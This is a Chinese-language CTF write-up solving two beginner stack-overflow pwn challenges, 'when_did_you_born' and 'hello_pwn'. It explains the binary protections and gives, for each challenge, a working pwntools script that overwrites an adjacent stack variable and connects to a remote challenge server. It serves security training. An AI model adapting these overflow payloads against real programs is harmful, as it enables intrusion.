when_did_you_born-棧溢出
題目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1
題目描述:只要知道你的年齡就能獲得flag,但菜雞發現無論如何輸入都不正確,怎么辦
題目附件: 附件1
分析:
下載文件后,通過kali的命令行:file 查看文件多少位:通過查看發現是64位,linux系統,linux在pwn題目出現最多。
查看文件有什么保護:命令checksec --file=when_did_you_born :,發現Canary found金絲雀保護(棧)和堆的保護
運行下測試,輸入大量數據,發現疑似棧溢出漏洞
載入IDA分析,按兩次空格,進入匯編界面,難分析,按F5進行偽代碼顯示,發現只要V5溢出到V6,且讓V6值為1926,即可繼續執行
編寫python代碼:
1 #棧溢出漏洞 2 from pwn import * 3 4 context(os='linux',arch="amd64",log_level="debug") #代表pwn是linux程序,64位操作系統,調試模式是debug 5 content=1 6 def main(): 7 if content==1: 8 zw=process("when_did_you_born") #運行本地程序 9 else: 10 zw=remote("220.249.52.133",50253) #運行網絡程序 11 12 payload=b'a'*(0x20-0x18)+p64(1926) #構建payload攻擊溢出腳本,發送一個比特流數據,所以開始是b';(0x20-0x18)代表數據大小是這么大;p64帶代表64位字節流發送 13 14 zw.recvuntil("What's Your Birth?\n") #收到返回是這個字符串則執行下一行代碼 15 zw.sendline("1900") #發送一條數據 16 # zw.sendlineafter("",)#執行到哪一條語句后發送 17 zw.recvuntil ("What's Your Name?\n") 18 zw.sendline (payload) 19 20 zw.interactive() #接收數據,把收到的數據發送回來 21 22 main() #運行main函數
執行,發現,正確,更改conent為網絡驗證獲得flag:
hello_pwn-棧溢出
題目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1
題目描述:pwn!,segment fault!菜雞陷入了深思(segment fault 段錯誤各種原因一 造成segment fault,產生core dump的可能原因1.內存訪問越界)
題目附件:附件1
下載附件,使用命令檢測,發現linux的64位程序,且沒有stack棧保護,只有NX堆保護,
(資料:防護技術:
RELRO:在Linux系統安全領域數據可以寫的存儲區就會是攻擊的目標,尤其是存儲函數指針的區域,盡量減少可寫的存儲區域可使安全系數提高。GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術Relocation Read Only, 重定向只讀,實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之后的區域為只讀。(參考RELRO技術細節)
Stack: 棧溢出檢查,用Canary金絲雀值是否變化來檢測,Canary found表示開啟。
金絲雀最早指的是礦工曾利用金絲雀來確認是否有氣體泄漏,如果金絲雀因為氣體泄漏而中毒死亡,可以給礦工預警。這里是一種緩沖區溢出攻擊緩解手段:啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux將cookie信息稱為Canary。
NX: No Execute,棧不可執行,也就是windows上的DEP。
分析緩沖區溢出攻擊,其根源在於現代計算機對數據和代碼沒有明確區分這一先天缺陷,就目前來看重新去設計計算機體系結構基本上是不可能的,我們只能靠向前兼容的修補來減少溢出帶來的損害,DEP就是用來彌補計算機對數據和代碼混淆這一天然缺陷的。
DEP的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。DEP的主要作用是阻止數據頁(如默認的堆頁、各種堆棧頁以及內存池頁)執行代碼。硬件DEP需要CPU的支持,AMD和Intel都為此做了設計,AMD稱之為No-Execute Page-Protection(NX),Intel稱之為Execute Disable Bit(XD)
Linux稱為 NX 與 DEP原理相同
PIE: position-independent executables, 位置無關的可執行文件,也就是常說的ASLR(Address space layout randomization) 地址隨機化,程序每次啟動基址都隨機。)
將程序導入IDA進行分析,發現,雙擊棧查看
,和上題目一樣,棧溢出即可
編寫代碼:
1 #棧溢出漏洞 2 from pwn import * 3 4 context(os='linux',arch="amd64",log_level="debug") #代表pwn是linux程序,64位操作系統,調試模式是debug 5 content=0 6 def main(): 7 if content==1: 8 zw=process("hello_pwn") #運行本地程序 9 else: 10 zw=remote("220.249.52.133",52836) #運行網絡程序 11 12 payload=b'a'*(0x6c-0x68)+p64(1853186401) #構建payload攻擊溢出腳本,發送一個比特流數據,所以開始是b';(0x20-0x18)代表數據大小是這么大;p64帶代表64位字節流發送 13 14 # zw.recvuntil("What's Your Birth?\n") #收到返回是這個字符串則執行下一行代碼 15 # zw.sendline("1900") #發送一條數據 16 # zw.sendlineafter("",)#執行到哪一條語句后發送 17 zw.recvuntil ("lets get helloworld for bof\n") 18 zw.sendline (payload) 19 20 zw.interactive() #接收數據,把收到的數據發送回來 21 22 main() #運行main函數
執行py,獲得flag
